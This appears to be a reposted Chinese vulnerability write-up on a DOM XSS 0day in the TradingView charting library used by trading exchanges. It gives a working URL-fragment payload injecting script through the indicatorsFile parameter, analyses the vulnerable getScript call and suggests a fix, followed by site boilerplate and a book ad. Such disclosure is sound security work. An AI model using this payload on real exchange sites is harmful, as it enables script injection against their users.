内容简介:近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。Payload:#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx‘)//
0x00 概述
近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。
0x01 漏洞重现
Payload:
#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx‘)//
0x02 修复方案
修改charting_library/static/bundles/library.xxx.js文件,使
getScript(“”)
0x03 漏洞分析
从payload的三个参数分析
漏洞文件:
charting_library/static/bundles/library.xxx.js
函数:
getScript(urlParams.indicatorsFile)
D?$.getScript(urlParams.indicatorsFile).done(function(){
此函数关键代码:
jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery( "<script>" ).prop( { charset: s.scriptCharset, src: s.url } ).on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } );
动态创建<script>,远程加载url。
另外两个参数:
function e() { JSON.parse(urlParams.disabledFeatures).forEach(function(e){t.setEnabled(e,!1)}), JSON.parse(urlParams.enabledFeatures).forEach(function(e){t.setEnabled(e,!0)}) }
要求为json即可。
0x04 结语
DOM XSS,可过服务端/客户端防御。
测试了几个都存在,可见影响范围非常广。
0x05 参考资料
以上所述就是小编给大家介绍的《TradingView xss 0day 漏洞重现及分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- ueditor getshell漏洞重现及分析
- thinkphp5 RCE漏洞重现及分析
- ThinkPHP5 RCE漏洞重现及分析
- tomcat rce漏洞重现(cve-2019-0232)
- Apache CVE-2017-7659 漏洞重现及利用分析
- 安全漏洞重现 分叉前夕的以太坊只想静一静”
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Programming Ruby中文版
托马斯 / 孙勇、姚延栋、张海峰 / 电子工业出版社 / 2007-3 / 99.00元
《Programming Rudy》(中文版)(第2版)是它的第2版,其中包括超过200页的新内容,以及对原有内容的修订,涵盖了Ruby 1.8中新的和改进的特性以及标准库模块。它不仅是您学习Ruby语言及其丰富特性的一本优秀教程,也可以作为日常编程时类和模块的参考手册。Ruby是一种跨平台、面向对象的动态类型编程语言。Ruby体现了表达的一致性和简单性,它不仅是一门编程语言,更是表达想法的一种简......一起来看看 《Programming Ruby中文版》 这本书的介绍吧!